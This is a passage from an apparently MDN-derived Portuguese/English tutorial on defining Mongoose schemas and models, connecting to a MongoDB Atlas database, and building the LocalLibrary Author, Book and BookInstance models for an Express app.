Objection: Makes it as easy as possible to use the full power of SQL and the underlying database engine (supports SQLite3, Postgres, and MySQL).\n* Sequelize is a promise-based ORM for Node.js and io.js. It supports the dialects PostgreSQL, MySQL, MariaDB, SQLite, and MSSQL and features solid transaction support, relations, read replication and more.\n* Node ORM2 is an Object Relationship Manager for NodeJS. It supports MySQL, SQLite, and Progress, helping to work with the database using an object-oriented approach.\n* JugglingDB is cross-DB ORM for NodeJS, providing a common interface to access most popular database formats. Currently supporting MySQL, SQLite3, Postgres, MongoDB, Redis and js-memory-storage (self-written engine for test-usage only).\n\nAs a general rule, you should consider both the features provided and the \"community activity\" (downloads, contributions, bug reports, quality of documentation, etc.) when selecting a solution. At the time of writing Mongoose is by far the most popular ODM, and is a reasonable choice if you're using MongoDB for your database.\n\n### Usando Mongoose e MongoDb para a LocalLibrary\n\nPara o exemplo da *Local Library* (e para o resto do tópico) nós iremos usar o Mongoose ODM para acessar os dados da nossa aplicação. Mongoose funciona como uma interface para o MongoDB, um banco de dados de código aberto e NoSQL que usa um modelo de dados orientado a documentos. Uma \"coleção\" de \"documentos\", em uma base de dados do MongoDB, é semelhante a uma \"tabela\" com \"linhas\" em uma base dados relacional.\n\nEsse ODM (Object Data Model) e banco de dados combinados são extremamente populares na comunidade do Node, particularmente porque os documentos armazenados e os métodos de consultas se parecem muito com JSON, que consequentemente são muito familiares aos desenvolvedores JavaScript.\n\n**Nota:** **Dica:** Você não precisa conhecer o MongoDB antes de usar o Mongoose, apesar de que partes da documentação do Mongoose *são mais fáceis* de entender se você já está familiarizado com o MongoDB.\n\nO resto desse tutorial mostra como definir e acessar os modelos e schemas no Mongoose para o nosso website da LocalLibrary.\n\nProjetando os modelos da aplicação LocalLibrary\n-----------------------------------------------\n\nAntes de pularmos de cabeça na codificação dos modelos, vale a pena pensar uns minutinhos sobre quais dados precisamos armazenar e o relacionamento entre diferentes objetos.\n\nNós sabemos que precisamos armazenar informações sobre livros(título, resumo, autor, gênero, ISBN) e que nós podemos ter múltiplas cópias disponíveis (com ids globlamente únicos, status de disponibilidade, etc.). Nós também podemos armazenar mais informações sobre o autor do que apenas seu nome, e podem haver múltiplos autores com o mesmo nome ou um bem parecido. Nós queremos também ser capazes de ordernar informações baseadas no título do livro, autor, gênero e categoria.\n\nAo estruturar seus modelos é sempre bom separar modelos para cada \"objeto\"(um grupo de informações relacionadas). Neste caso, os nossos objetos mais evidentes são os de livros (books), pedidos de livros (book instances), e autores (authors).\n\nVocê pode usar também modelos para representar opções de listagens(por exemplo um menu drop-down com escolhas para o usuário), ao invés de implementar as escolhas diretamente em linhas de códigos dentro do seu website — isso é recomendado quando as escolhas não são conhecidas durante o desenvolvimento ou quando elas podem mudar. O candidato mais evidente para um modelo desse tipo é o de gênero (genre) de livros (por exemplo Ficção Ciêntífica, Poesia Clássica, etc.).\n\nUma vez que nós decidimos nossos modelos e os seus atributos, nós precisamos pensar sobre o relacionamento entre eles.\n\nCom isso em mente, o diagrama UML a seguir mostra os modelos (as caixas) que iremos definir na nossa aplicação. Como discutido acima, criamos modelos para os livros ( com informações genéricas sobre o livro), pedidos de livros(status de cópias físicas de um livro específico disponíveis no sistema), e autor. E também decidimos ter um modelo para o gênero então esses valores poderão ser criados dinamicamente na aplicação. Outra decisão foi de não criarmos um modelo para `BookInstance:status` — nós deixaremos diretamente no código os valores aceitáveis para o status de pedidos porque nós não esperamos que eles mudem. Dentro de cada caixa, você pode ver o nome do modelo, o nome dos atributos e seus tipos, e também os métodos e seu tipo de retorno.\n\nO diagrama também mostra o relacionamento entre modelos, incluindo sua cardinalidade. A cardinalidade são os números no diagrama próximos das linhas que conectam as caixas mostrando os números (máximo e mínimo) de cada modelo que pode estar presente no relacionamento. Por exemplo, as linhas que conectam as caixas `Book`e `Genre` mostram que as duas coleções têm uma relação. Os números próximos ao modelo `Book` mostra que Genre pode ter zero ou mais Book (quantos você quiser), enquanto no outro fim da linha de conexão próximo a `Genre` mostra que ele pode ter zero ou mais livros associados.\n\n**Nota:** Assim como discutido abaixo em Iniciando com Mongoose muitas vezes é melhor ter o atributo que define a relação entre os documentos/modelos em apenas um dos modelos( você ainda pode encontrar o relacionamento reverso pesquisando o `_id` associado no outro modelo). Abaixo nós escolhemos definir o modelo Book Schema para armazenar o relacionamento entre Book/Genre e Book/Author, e definimos BookInstance Schema para armazenar o relacionamento entre Book/BookInstance. Esta escolha foi um tanto arbitrária — nós poderíamos igualmente ter declarado esses atributos em outro schema.\n\n![Mongoose Library Model with correct cardinality](/pt-BR/docs/Learn/Server-side/Express_Nodejs/mongoose/library_website_-_mongoose_express.png)\n\n**Nota:** A próxima seção fornece um guia explicando como os modelos são definidos e usados. Ao ler, considere como iremos construir cada um dos modelos no diagrama acima.\n\nIniciando com Mongoose\n----------------------\n\nEsta seção fornece uma visão geral de como conectar o Mongoose a um banco de dados do MongoDB, como definir um schema e um modelo, e como fazer consultas básicas.\n\n**Nota:** Esse guia é \"bastante influenciado\" pelo conteúdo encontrado no Mongoose quick start do *npm* e pela documentação oficial.\n\n### Instalando Mongoose e MongoDB\n\nO Mongoose é instalado no seu projeto (**package.json**) assim como outra dependência qualquer — usando NPM. Para instalá-lo, use a seguinte linha de comando dentro da pasta do seu projeto:\n\n\n```bash\nnpm install mongoose\n```\n\n\nInstalling *Mongoose* adds all its dependencies, including the MongoDB database driver, but it does not install MongoDB itself. If you want to install a MongoDB server then you can download installers from here for various operating systems and install it locally. You can also use cloud-based MongoDB instances.\n\n**Nota:** For this tutorial, we'll be using the MongoDB Atlas cloud-based *database as a service* free tier to provide the database. This is suitable for development and makes sense for the tutorial because it makes \"installation\" operating system independent (database-as-a-service is also one approach you might well use for your production database).\n\n### Conectando ao MongoDB\n\n*Mongoose* requires a connection to a MongoDB database. You can `require()` and connect to a locally hosted database with `mongoose.connect()`, as shown below.\n\n\n```js\n//Import the mongoose module\nvar mongoose = require(\"mongoose\");\n\n//Set up default mongoose connection\nvar mongoDB = \"mongodb://127.0.0.1/my\\_database\";\nmongoose.connect(mongoDB, { useNewUrlParser: true });\n\n//Get the default connection\nvar db = mongoose.connection;\n\n//Bind connection to error event (to get notification of connection errors)\ndb.on(\"error\", console.error.bind(console, \"MongoDB connection error:\"));\n```\n\n\nYou can get the default `Connection` object with `mongoose.connection`. Once connected, the open event is fired on the `Connection` instance.\n\n**Nota:** **Tip:** If you need to create additional connections you can use `mongoose.createConnection()`. This takes the same form of database URI (with host, database, port, options etc.) as `connect()` and returns a `Connection` object).\n\n### Definindo e criando modelos\n\nModels are *defined* using the `Schema` interface. The Schema allows you to define the fields stored in each document along with their validation requirements and default values. In addition, you can define static and instance helper methods to make it easier to work with your data types, and also virtual properties that you can use like any other field, but which aren't actually stored in the database (we'll discuss a bit further below).\n\nSchemas are then \"compiled\" into models using the `mongoose.model()` method. Once you have a model you can use it to find, create, update, and delete objects of the given type.\n\n**Nota:** Each model maps to a *collection* of *documents* in the MongoDB database. The documents will contain the fields/schema types defined in the model `Schema`.\n\n#### Defining schemas\n\nThe code fragment below shows how you might define a simple schema. First you `require()` mongoose, then use the Schema constructor to create a new schema instance, defining the various fields inside it in the constructor's object parameter.\n\n\n```js\n//Require Mongoose\nvar mongoose = require(\"mongoose\");\n\n//Define a schema\nvar Schema = mongoose.Schema;\n\nvar SomeModelSchema = new Schema({\n  a\\_string: String,\n  a\\_date: Date,\n});\n```\n\n\nIn the case above we just have two fields, a string and a date. In the next sections, we will show some of the other field types, validation, and other methods.\n\n#### Criando um modelo\n\nModels are created from schemas using the `mongoose.model()` method:\n\n\n```js\n// Define schema\nvar Schema = mongoose.Schema;\n\nvar SomeModelSchema = new Schema({\n  a\\_string: String,\n  a\\_date: Date,\n});\n\n// Compile model from schema\nvar SomeModel = mongoose.model(\"SomeModel\", SomeModelSchema);\n```\n\n\nThe first argument is the singular name of the collection that will be created for your model (Mongoose will create the database collection for the above model *SomeModel* above), and the second argument is the schema you want to use in creating the model.\n\n**Nota:** Once you've defined your model classes you can use them to create, update, or delete records, and run queries to get all records or particular subsets of records. We'll show you how to do this in the Using models section, and when we create our views.\n\n#### Schema types (fields)\n\nA schema can have an arbitrary number of fields — each one represents a field in the documents stored in *MongoDB*. An example schema showing many of the common field types and how they are declared is shown below.\n\n\n```js\nvar schema = new Schema({\n  name: String,\n  binary: Buffer,\n  living: Boolean,\n  updated: { type: Date, default: Date.now() },\n  age: { type: Number, min: 18, max: 65, required: true },\n  mixed: Schema.Types.Mixed,\n  \\_someId: Schema.Types.ObjectId,\n  array: [],\n  ofString: [String], // You can also have an array of each of the other types too.\n  nested: { stuff: { type: String, lowercase: true, trim: true } },\n});\n```\n\n\nMost of the SchemaTypes (the descriptors after \"type:\" or after field names) are self-explanatory. The exceptions are:\n\n* `ObjectId`: Represents specific instances of a model in the database. For example, a book might use this to represent its author object. This will actually contain the unique ID (`_id`) for the specified object. We can use the `populate()` method to pull in the associated information when needed.\n* Mixed: An arbitrary schema type.\n* []: An array of items. You can perform JavaScript array operations on these models (push, pop, unshift, etc.). The examples above show an array of objects without a specified type and an array of `String` objects, but you can have an array of any type of object.\n\nThe code also shows both ways of declaring a field:\n\n* Field *name* and *type* as a key-value pair (i.e. as done with fields `name`, `binary` and `living`).\n* Field *name* followed by an object defining the `type`, and any other *options* for the field. Options include things like:\n    + default values.\n    + built-in validators (e.g. max/min values) and custom validation functions.\n    + Whether the field is required\n    + Whether `String` fields should automatically be set to lowercase, uppercase, or trimmed (e.g. `{ type: String, lowercase: true, trim: true }`)\n\nFor more information about options see SchemaTypes (Mongoose docs).\n\n#### Validação\n\nMongoose provides built-in and custom validators, and synchronous and asynchronous validators. It allows you to specify both the acceptable range or values and the error message for validation failure in all cases.\n\nThe built-in validators include:\n\n* All SchemaTypes have the built-in required validator. This is used to specify whether the field must be supplied in order to save a document.\n* Numbers have min and max validators.\n* Strings have:\n    + enum: specifies the set of allowed values for the field.\n    + match: specifies a regular expression that the string must match.\n    + maxlength and minlength for the string.\n\nThe example below (slightly modified from the Mongoose documents) shows how you can specify some of the validator types and error messages:\n\n\n```js\nvar breakfastSchema = new Schema({\n  eggs: {\n    type: Number,\n    min: [6, \"Too few eggs\"],\n    max: 12,\n    required: [true, \"Why no eggs?\"],\n  },\n  drink: {\n    type: String,\n    enum: [\"Coffee\", \"Tea\", \"Water\"],\n  },\n});\n```\n\n\nFor complete information on field validation see Validation (Mongoose docs).\n\n#### Propriedades virtuais\n\nVirtual properties are document properties that you can get and set but that do not get persisted to MongoDB. The getters are useful for formatting or combining fields, while setters are useful for de-composing a single value into multiple values for storage. The example in the documentation constructs (and deconstructs) a full name virtual property from a first and last name field, which is easier and cleaner than constructing a full name every time one is used in a template.\n\n**Nota:** We will use a virtual property in the library to define a unique URL for each model record using a path and the record's `_id` value.\n\nFor more information see Virtuals (Mongoose documentation).\n\n#### Methods and query helpers\n\nA schema can also have instance methods, static methods, and query helpers. The instance and static methods are similar, but with the obvious difference that an instance method is associated with a particular record and has access to the current object. Query helpers allow you to extend mongoose's chainable query builder API (for example, allowing you to add a query \"byName\" in addition to the `find()`, `findOne()` and `findById()` methods).\n\n### Usando modelos\n\nOnce you've created a schema you can use it to create models. The model represents a collection of documents in the database that you can search, while the model's instances represent individual documents that you can save and retrieve.\n\nWe provide a brief overview below. For more information see: Models (Mongoose docs).\n\n#### Criando e modificando documentos\n\nTo create a record you can define an instance of the model and then call `save()`. The examples below assume SomeModel is a model (with a single field \"name\") that we have created from our schema.\n\n\n```js\n// Create an instance of model SomeModel\nvar awesome_instance = new SomeModel({ name: \"awesome\" });\n\n// Save the new model instance, passing a callback\nawesome_instance.save(function (err) {\n  if (err) return handleError(err);\n  // saved!\n});\n```\n\n\nCreation of records (along with updates, deletes, and queries) are asynchronous operations — you supply a callback that is called when the operation completes. The API uses the error-first argument convention, so the first argument for the callback will always be an error value (or null). If the API returns some result, this will be provided as the second argument.\n\nYou can also use `create()` to define the model instance at the same time as you save it. The callback will return an error for the first argument and the newly-created model instance for the second argument.\n\n\n```js\nSomeModel.create({ name: \"also\\_awesome\" }, function (err, awesome\\_instance) {\n  if (err) return handleError(err);\n  // saved!\n});\n```\n\n\nEvery model has an associated connection (this will be the default connection when you use `mongoose.model()`). You create a new connection and call `.model()` on it to create the documents on a different database.\n\nYou can access the fields in this new record using the dot syntax, and change the values. You have to call `save()` or `update()` to store modified values back to the database.\n\n\n```js\n// Access model field values using dot notation\nconsole.log(awesome_instance.name); //should log 'also\\_awesome'\n\n// Change record by modifying the fields, then calling save().\nawesome_instance.name = \"New cool name\";\nawesome_instance.save(function (err) {\n  if (err) return handleError(err); // saved!\n});\n```\n\n\n#### Pesquisando por registros\n\nYou can search for records using query methods, specifying the query conditions as a JSON document. The code fragment below shows how you might find all athletes in a database that play tennis, returning just the fields for athlete *name* and *age*. Here we just specify one matching field (sport) but you can add more criteria, specify regular expression criteria, or remove the conditions altogether to return all athletes.\n\n\n```js\nvar Athlete = mongoose.model(\"Athlete\", yourSchema);\n\n// find all athletes who play tennis, selecting the 'name' and 'age' fields\nAthlete.find({ sport: \"Tennis\" }, \"name age\", function (err, athletes) {\n  if (err) return handleError(err);\n  // 'athletes' contains the list of athletes that match the criteria.\n});\n```\n\n\nIf you specify a callback, as shown above, the query will execute immediately. The callback will be invoked when the search completes.\n\n**Nota:** All callbacks in Mongoose use the pattern `callback(error, result)`. If an error occurs executing the query, the `error` parameter will contain an error document and `result` will be null. If the query is successful, the `error` parameter will be null, and the `result` will be populated with the results of the query.\n\n**Nota:** It is important to remember that not finding any results is **not an error** for a search —but it may be a fail-case in the context of your application. If your application expects a search to find a value you can either check the result in the callback (`results==null`) or daisy chain the method orFail() on the query.\n\nIf you don't specify a callback then the API will return a variable of type Query. You can use this query object to build up your query and then execute it (with a callback) later using the `exec()` method.\n\n\n```js\n// find all athletes that play tennis\nvar query = Athlete.find({ sport: \"Tennis\" });\n\n// selecting the 'name' and 'age' fields\nquery.select(\"name age\");\n\n// limit our results to 5 items\nquery.limit(5);\n\n// sort by age\nquery.sort({ age: -1 });\n\n// execute the query at a later time\nquery.exec(function (err, athletes) {\n  if (err) return handleError(err);\n  // athletes contains an ordered list of 5 athletes who play Tennis\n});\n```\n\n\nAbove we've defined the query conditions in the `find()` method. We can also do this using a `where()` function, and we can chain all the parts of our query together using the dot operator (.) rather than adding them separately. The code fragment below is the same as our query above, with an additional condition for the age.\n\n\n```js\nAthlete.find()\n  .where(\"sport\")\n  .equals(\"Tennis\")\n  .where(\"age\")\n  .gt(17)\n  .lt(50) //Additional where query\n  .limit(5)\n  .sort({ age: -1 })\n  .select(\"name age\")\n  .exec(callback); // where callback is the name of our callback function.\n```\n\n\nThe find() method gets all matching records, but often you just want to get one match. The following methods query for a single record:\n\n* `findById()`: Finds the document with the specified `id` (every document has a unique `id`).\n* `findOne()`: Finds a single document that matches the specified criteria.\n* `findByIdAndRemove()`, `findByIdAndUpdate()`, `findOneAndRemove()`, `findOneAndUpdate()`: Finds a single document by `id` or criteria and either update or remove it. These are useful convenience functions for updating and removing records.\n\n**Nota:** There is also a `count()` method that you can use to get the number of items that match conditions. This is useful if you want to perform a count without actually fetching the records.\n\nThere is a lot more you can do with queries. For more information see: Queries (Mongoose docs).\n\n#### Working with related documents — population\n\nYou can create references from one document/model instance to another using the `ObjectId` schema field, or from one document to many using an array of `ObjectIds`. The field stores the id of the related model. If you need the actual content of the associated document, you can use the `populate()` method in a query to replace the id with the actual data.\n\nFor example, the following schema defines authors and stories. Each author can have multiple stories, which we represent as an array of `ObjectId`. Each story can have a single author. The \"ref\" (highlighted in bold below) tells the schema which model can be assigned to this field.\n\n\n```js\nvar mongoose = require(\"mongoose\"),\n  Schema = mongoose.Schema;\n\nvar authorSchema = Schema({\n  name: String,\n  stories: [{ type: Schema.Types.ObjectId, ref: \"Story\" }],\n});\n\nvar storySchema = Schema({\n  author: { type: Schema.Types.ObjectId, ref: \"Author\" },\n  title: String,\n});\n\nvar Story = mongoose.model(\"Story\", storySchema);\nvar Author = mongoose.model(\"Author\", authorSchema);\n```\n\n\nWe can save our references to the related document by assigning the `_id` value. Below we create an author, then a story, and assign the author id to our stories author field.\n\n\n```js\nvar bob = new Author({ name: \"Bob Smith\" });\n\nbob.save(function (err) {\n  if (err) return handleError(err);\n\n  //Bob now exists, so lets create a story\n  var story = new Story({\n    title: \"Bob goes sledding\",\n    author: bob._id, // assign the \\_id from the our author Bob. This ID is created by default!\n  });\n\n  story.save(function (err) {\n    if (err) return handleError(err);\n    // Bob now has his story\n  });\n});\n```\n\n\nOur story document now has an author referenced by the author document's ID. In order to get the author information in the story results we use `populate()`, as shown below.\n\n\n```js\nStory.findOne({ title: \"Bob goes sledding\" })\n  .populate(\"author\") //This populates the author id with actual author information!\n  .exec(function (err, story) {\n    if (err) return handleError(err);\n    console.log(\"The author is %s\", story.author.name);\n    // prints \"The author is Bob Smith\"\n  });\n```\n\n\n**Nota:** Astute readers will have noted that we added an author to our story, but we didn't do anything to add our story to our author's `stories` array. How then can we get all stories by a particular author? One way would be to add our author to the stories array, but this would result in us having two places where the information relating authors and stories needs to be maintained.\n\nA better way is to get the `_id` of our *author*, then use `find()` to search for this in the author field across all stories.\n\n\n```js\nStory.find({ author: bob._id }).exec(function (err, stories) {\n  if (err) return handleError(err);\n  // returns all stories that have Bob's id as their author.\n});\n```\n\n\nThis is almost everything you need to know about working with related items *for this tutorial*. For more detailed information see Population (Mongoose docs).\n\n### One schema/model per file\n\nWhile you can create schemas and models using any file structure you like, we highly recommend defining each model schema in its own module (file), exporting the method to create the model. This is shown below:\n\n\n```js\n// File: ./models/somemodel.js\n\n//Require Mongoose\nvar mongoose = require(\"mongoose\");\n\n//Define a schema\nvar Schema = mongoose.Schema;\n\nvar SomeModelSchema = new Schema({\n  a\\_string: String,\n  a\\_date: Date,\n});\n\n//Export function to create \"SomeModel\" model class\nmodule.exports = mongoose.model(\"SomeModel\", SomeModelSchema);\n```\n\n\nYou can then require and use the model immediately in other files. Below we show how you might use it to get all instances of the model.\n\n\n```js\n//Create a SomeModel model just by requiring the module\nvar SomeModel = require(\"../models/somemodel\");\n\n// Use the SomeModel object (model) to find all SomeModel records\nSomeModel.find(callback_function);\n```\n\nConfigurando o banco de dados MongoDB\n-------------------------------------\n\nNow that we understand something of what Mongoose can do and how we want to design our models, it's time to start work on the *LocalLibrary* website. The very first thing we want to do is set up a MongoDb database that we can use to store our library data.\n\nFor this tutorial, we're going to use the MongoDB Atlas free cloud-hosted sandbox database. This database tier is not considered suitable for production websites because it has no redundancy, but it is great for development and prototyping. We're using it here because it is free and easy to set up, and because MongoDB Atlas is a popular *database as a service* vendor that you might reasonably choose for your production database (other popular choices at the time of writing include Compose, ScaleGrid and ObjectRocket).\n\n**Nota:** If you prefer you can set up a MongoDb database locally by downloading and installing the appropriate binaries for your system. The rest of the instructions in this article would be similar, except for the database URL you would specify when connecting.\n\nYou will first need to create an account with MongoDB Atlas (this is free, and just requires that you enter basic contact details and acknowledge their terms of service).\n\nAfter logging in, you'll be taken to the home screen:\n\n1. Click **Buid a Cluster** button in the Clusters Overview section.\n\n ![Create a cluster on MongoDB Atlas.](/pt-BR/docs/Learn/Server-side/Express_Nodejs/mongoose/mongodb_atlas_-_createcluster.jpg)\n2. This will open the *Create New Cluster* screen.\n\n ![Choose a cloud provider when using MongoDB Atlas.](/pt-BR/docs/Learn/Server-side/Express_Nodejs/mongoose/mongodb_atlas_-_chooseproviderregion.jpg)\n    * Select any provider from the *Cloud Provider & Region* section. Different providers offer different regions.\n    * Select any region marked \"FREE TIER AVAILABLE\".\n    * Click the **Create Cluster** button (creation of the cluster will take some minutes).\n3. You will return to the *Cluster Overview* screen.\n\n ![Setup a collection on MongoDB Atlas.](/pt-BR/docs/Learn/Server-side/Express_Nodejs/mongoose/mongodb_atlas_-_createcollection.jpg)\n    * Click the **Collections** button.\n4. This will open the *Collections* section.\n\n ![Create a database on MongoDB Atlas.](/pt-BR/docs/Learn/Server-side/Express_Nodejs/mongoose/mongodb_atlas_-_createdatabase.jpg)\n    * Click the **Create Database** button.\n5. This will open the *Create Database* screen.\n\n ![Details during database creation on MongoDB Atlas.](/pt-BR/docs/Learn/Server-side/Express_Nodejs/mongoose/mongodb_atlas_-_databasedetails.jpg)\n    * Enter the name for the new database as `local_library`.\n    * Enter the name of the collection as Collection0.\n    * Click the **Create** button to create the database.\n6. You will return to the Collection screen with your database created.\n\n ![Database creation confirmation on MongoDB Atlas.](/pt-BR/docs/Learn/Server-side/Express_Nodejs/mongoose/mongodb_atlas_-_databasecreated.jpg)\n    * Click the *Overview* tab to return the cluster overview.\n7. From the Cluster0 Overview screen click the **Connect** button.\n\n ![Configure a connection when after setting up a cluster in MongoDB Atlas.](/pt-BR/docs/Learn/Server-side/Express_Nodejs/mongoose/mongodb_atlas_-_connectbutton.jpg)\n8. This will open the Connect to Cluster screen.\n\n ![Setup a connection when using MongoDB Atlas.](/pt-BR/docs/Learn/Server-side/Express_Nodejs/mongoose/mongodb_atlas_-_connectcluster.jpg)\n    * Click the **Add a Different IP Address** button, enter `0.0.0.0/0` for the IP Address and click **Add IP Address** button.\n     \n    **Nota:** It is a best practice to limit the IP addresses that can connect to your database and other resources. Here we allow a connection from anywhere because we don't know where the request will come from after deployment.\n    * Enter a username and password and click **Create MongoDB User** button.\n     \n    **Nota:** Avoid using special characters in your MongoDB user password as mongoose may not parse the connection string properly.\n    * If you have completed the 2 previous steps, the button **Choose a connection method** will turn green.\n    * Click the **Choose a connection method** button.\n9. This will access the *Choose a connection* method tab.\n\n ![Choose a connection type when connecting with MongoDB Atlas.](/pt-BR/docs/Learn/Server-side/Express_Nodejs/mongoose/mongodb_atlas_-_chooseaconnectionmethod.jpg)\n    * Click the **Connect Your Application** option.\n10. This will open the *Connect* screen.\n\n ![Choose the Short SRV connection when settinup a connection on MongoDB Atalas.](/pt-BR/docs/Learn/Server-side/Express_Nodejs/mongoose/mongodb_atlas_-_connectforshortsrv.jpg)\n    * Click the **Short SRV connection string** option to copy the connection string.\n11. This will open the connection string URL.\n\n ![Copy the Short SRV connection string when setting up a connection on MongoDB Atlas](/pt-BR/docs/Learn/Server-side/Express_Nodejs/mongoose/mongodb_atlas_-_copyshortsrv.jpg)\n    * Choose **Copy** button to copy the string.\n    * Save this string somewhere safe.\n    * Update the password with your users password.\n    * Replace test with `local_library`.\n\nYou have now created the database, and have an URL (with username and password) that can be used to access it. This will look something like: `mongodb+srv://your_user_name:your_password@cluster0-mbdj7.mongodb.net/local_library?retryWrites=true`\n\nInstalando Mongoose\n-------------------\n\nOpen a command prompt and navigate to the directory where you created your skeleton Local Library website. Enter the following command to install Mongoose (and its dependencies) and add it to your **package.json** file, unless you have already done so when reading the Mongoose Primer above.\n\n\n```bash\nnpm install mongoose\n```\n\nConectando ao MongoDB\n---------------------\n\nOpen **/app.js** (in the root of your project) and copy the following text below where you declare the *Express application object* (after the line `var app = express();`). Replace the database url string ('*insert\\_your\\_database\\_url\\_here*') with the location URL representing your own database (i.e. using the information from *mongoDB Atlas*).\n\n\n```js\n//Set up mongoose connection\nvar mongoose = require(\"mongoose\");\nvar mongoDB = \"insert\\_your\\_database\\_url\\_here\";\nmongoose.connect(mongoDB, { useNewUrlParser: true });\nvar db = mongoose.connection;\ndb.on(\"error\", console.error.bind(console, \"MongoDB connection error:\"));\n```\n\n\nAs discussed in the Mongoose primer above, this code creates the default connection to the database and binds to the error event (so that errors will be printed to the console).\n\nDefining the LocalLibrary Schema\n--------------------------------\n\nWe will define a separate module for each model, as discussed above. Start by creating a folder for our models in the project root (**/models**) and then create separate files for each of the models:\n```\n\n/express-locallibrary-tutorial  //the project root\n  /models\n    author.js\n    book.js\n    bookinstance.js\n    genre.js\n```\n\n### Author model\n\nCopy the `Author` schema code shown below and paste it into your **./models/author.js** file. The scheme defines an author has having `String` SchemaTypes for the first and family names, that are required and have a maximum of 100 characters, and `Date` fields for the date of birth and death.\n\n\n```js\nvar mongoose = require(\"mongoose\");\n\nvar Schema = mongoose.Schema;\n\nvar AuthorSchema = new Schema({\n  first\\_name: { type: String, required: true, max: 100 },\n  family\\_name: { type: String, required: true, max: 100 },\n  date\\_of\\_birth: { type: Date },\n  date\\_of\\_death: { type: Date },\n});\n\n// Virtual for author's full name\nAuthorSchema.virtual(\"name\").get(function () {\n  return this.family_name + \", \" + this.first_name;\n});\n\n// Virtual for author's lifespan\nAuthorSchema.virtual(\"lifespan\").get(function () {\n  return (\n    this.date_of_death.getYear() - this.date_of_birth.getYear()\n  ).toString();\n});\n\n// Virtual for author's URL\nAuthorSchema.virtual(\"url\").get(function () {\n  return \"/catalog/author/\" + this._id;\n});\n\n//Export model\nmodule.exports = mongoose.model(\"Author\", AuthorSchema);\n```\n\n\nWe've also declared a virtual for the AuthorSchema named \"url\" that returns the absolute URL required to get a particular instance of the model — we'll use the property in our templates whenever we need to get a link to a particular author.\n\n**Nota:** Declaring our URLs as a virtual in the schema is a good idea because then the URL for an item only ever needs to be changed in one place.\n At this point, a link using this URL wouldn't work, because we haven't got any routes handling code for individual model instances. We'll set those up in a later article!\n\n\nAt the end of the module, we export the model.\n\n### Book model\n\nCopy the `Book` schema code shown below and paste it into your **./models/book.js** file. Most of this is similar to the author model — we've declared a schema with a number of string fields and a virtual for getting the URL of specific book records, and we've exported the model.\n\n\n```js\nvar mongoose = require(\"mongoose\");\n\nvar Schema = mongoose.Schema;\n\nvar BookSchema = new Schema({\n  title: { type: String, required: true },\n  author: { type: Schema.Types.ObjectId, ref: \"Author\", required: true },\n  summary: { type: String, required: true },\n  isbn: { type: String, required: true },\n  genre: [{ type: Schema.Types.ObjectId, ref: \"Genre\" }],\n});\n\n// Virtual for book's URL\nBookSchema.virtual(\"url\").get(function () {\n  return \"/catalog/book/\" + this._id;\n});\n\n//Export model\nmodule.exports = mongoose.model(\"Book\", BookSchema);\n```\n\n\nThe main difference here is that we've created two references to other models:\n\n* author is a reference to a single `Author` model object, and is required.\n* genre is a reference to an array of `Genre` model objects. We haven't declared this object yet!\n### BookInstance model\n\nFinally, copy the `BookInstance` schema code shown below and paste it into your **./models/bookinstance.js** file. The `BookInstance` represents a specific copy of a book that someone might borrow and includes information about whether the copy is available or on what date it is expected back, \"imprint\" or version details.\n\n\n```js\nvar mongoose = require(\"mongoose\");\n\nvar Schema = mongoose.Schema;\n\nvar BookInstanceSchema = new Schema({\n  book: { type: Schema.Types.ObjectId, ref: \"Book\", required: true }, //reference to the associated book\n  imprint: { type: String, required: true },\n  status: {\n    type: String,\n    required: true,\n    enum: [\"Available\", \"Maintenance\", \"Loaned\", \"Reserved\"],\n    default: \"Maintenance\",\n  },\n  due\\_back: { type: Date, default: Date.now },\n});\n\n// Virtual for bookinstance's URL\nBookInstanceSchema.virtual(\"url\").get(function () {\n  return \"/catalog/bookinstance/\" + this._id;\n});\n\n//Export model\nmodule.exports = mongoose.model(\"BookInstance\", BookInstanceSchema);\n```\n\n\nThe new things we show here are the field options:\n\n* `enum`: This allows us to set the allowed values of a string. In this case, we use it to specify the availability status of our books (using an enum means that we can prevent mis-spellings and arbitrary values for our status)\n* `default`: We use default to set the default status for newly created bookinstances to maintenance and the default `due_back` date to `now` (note how you can call the Date function when setting the date!)\n\nEverything else should be familiar from our previous schema.\n\n### Genre model - challenge!\n\nOpen your **./models/genre.js** file and create a schema for storing genres (the category of book, e.g. whether it is fiction or non-fiction, romance or military history, etc).\n\nThe definition will be very similar to the other models:\n\n* The model should have a `String` SchemaType called `name` to describe the genre.\n* This name should be required and have between 3 and 100 characters.\n* Declare a virtual for the genre's URL, named `url`.\n* Export the model.\nTestando — criando alguns itens\n-------------------------------\n\nThat's it. We now have all models for the site set up!\n\nIn order to test the models (and to create some example books and other items that we can use in our next articles) we'll now run an *independent* script to create items of each type:\n\n1. Download (or otherwise create) the file populatedb.js inside your *express-locallibrary-tutorial* directory (in the same level as `package.json`).\n\n**Nota:** You don't need to know how populatedb.js works; it just adds sample data into the database.\n2. Enter the following commands in the project root to install the *async* module that is required by the script (we'll discuss this in later tutorials, )\n\n```bash\nnpm install async\n```\n\n3. Run the script using node in your command prompt, passing in the URL of your *MongoDB* database (the same one you replaced the *insert\\_your\\_database\\_url\\_here* placeholder with, inside `app.js` earlier):\n\n```bash\nnode populatedb <your mongodb url>\n```\n\n\n**Nota:** **Note for Windows operating system users**: If the above command results in the error `DeprecationWarning: current URL string parser is deprecated`, change the `mongoose.connect(mongoDB);` line in `populatedb.js` file with `mongoose.connect(mongoDB, { useNewUrlParser:true });`\n4. The script should run through to completion, displaying items as it creates them in the terminal.\n\n**Nota:** **Tip:** Go to your database on mongoDB Atlas (in the *Collections* tab). You should now be able to drill down into individual collections of Books, Authors, Genres and BookInstances, and check out individual documents.\n\nResumo\n------\n\nIn this article, we've learned a bit about databases and ORMs on Node/Express, and a lot about how Mongoose schema and models are defined. We then used this information to design and implement `Book`, `BookInstance`, `Author` and `Genre` models for the *LocalLibrary* website.\n\nLast of all we tested our models by creating a number of instances (using a standalone script). In the next article we'll look at creating some pages to display these objects.\n\nVeja também\n-----------\n\n* Database integration (Express docs)\n* Mongoose website (Mongoose docs)\n* Mongoose Guide (Mongoose docs)\n* Validation (Mongoose docs)\n* Schema Types (Mongoose docs)\n* Models (Mongoose docs)\n* Queries (Mongoose docs)\n* Population (Mongoose docs)\n* Anterior\n* Menu: Express Nodejs\n* Próxima  (en-US)"}
